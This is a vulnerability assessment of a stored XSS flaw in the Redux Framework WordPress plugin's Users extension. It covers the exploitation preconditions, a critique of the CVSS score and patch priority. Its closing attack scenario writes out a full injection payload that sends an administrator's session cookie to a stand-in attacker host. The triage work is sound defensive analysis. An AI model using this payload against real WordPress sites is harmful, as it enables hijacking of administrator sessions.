Redux Framework CVE-2026-5399

Exploitation requires four simultaneous conditions: (1) Redux Framework plugin version ≤4.5.13.1 is installed and active on the WordPress site; (2) the Redux Users extension (class-redux-extension-users.php) is explicitly enabled - this extension is not part of the default Redux Framework core install and must be separately activated by a developer or theme; (3) the attacker holds at minimum a WordPress Subscriber-level account on the target site; and (4) a WordPress Administrator navigates to and views the attacker's user profile page in the admin dashboard. Exploitation is limited by the requirement for a valid low-privilege account (disabling open user registration blocks attacker account creation but does not protect against existing subscribers) and the probabilistic requirement that an admin reviews the specific profile. Sites with closed registration and no untrusted subscriber accounts face negligible practical risk even without patching.

The provided CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N scores 6.4, but the UI:N metric is inconsistent with the description, which explicitly states the payload fires 'whenever an Administrator navigates to view the attacker's profile page.' That conditional admin action constitutes required user interaction under CVSS 3.1 guidance; UI:R would be more accurate and would reduce the score to approximately 5.4. The Scope:Changed (S:C) metric is correctly assigned - a Subscriber-level user gaining script execution in an Administrator's browser context represents a privilege escalation across security boundaries. Real-world risk is moderate: an attacker needs a registered Subscriber account, the Redux Users extension must be active, and a targeted admin must visit the specific profile. The XSS payload can steal admin session cookies, perform CSRF-like admin actions, or redirect the admin - not direct server RCE. No EPSS data, KEV listing, or confirmed POC code was provided in the input, so exploitation probability beyond theoretical cannot be assessed. Priority is a routine maintenance-window patch, with elevated urgency for sites with open user registration.

An attacker registers a free Subscriber account on a target WordPress site running Redux Framework ≤4.5.13.1 with the Users extension active, then saves a Slider field value of 1 tabindex=0 autofocus onfocus=fetch('https://attacker.example/c?'+document.cookie) x= in their user profile. When a site Administrator later navigates to the Users panel and views that subscriber's profile, the payload fires automatically in the admin's browser due to the unquoted attribute injection, exfiltrating the admin's session cookie to the attacker's server. No confirmed public proof-of-concept exists, but the vulnerability mechanism is fully detailed in the Wordfence advisory and source code references, making independent reproduction low-effort.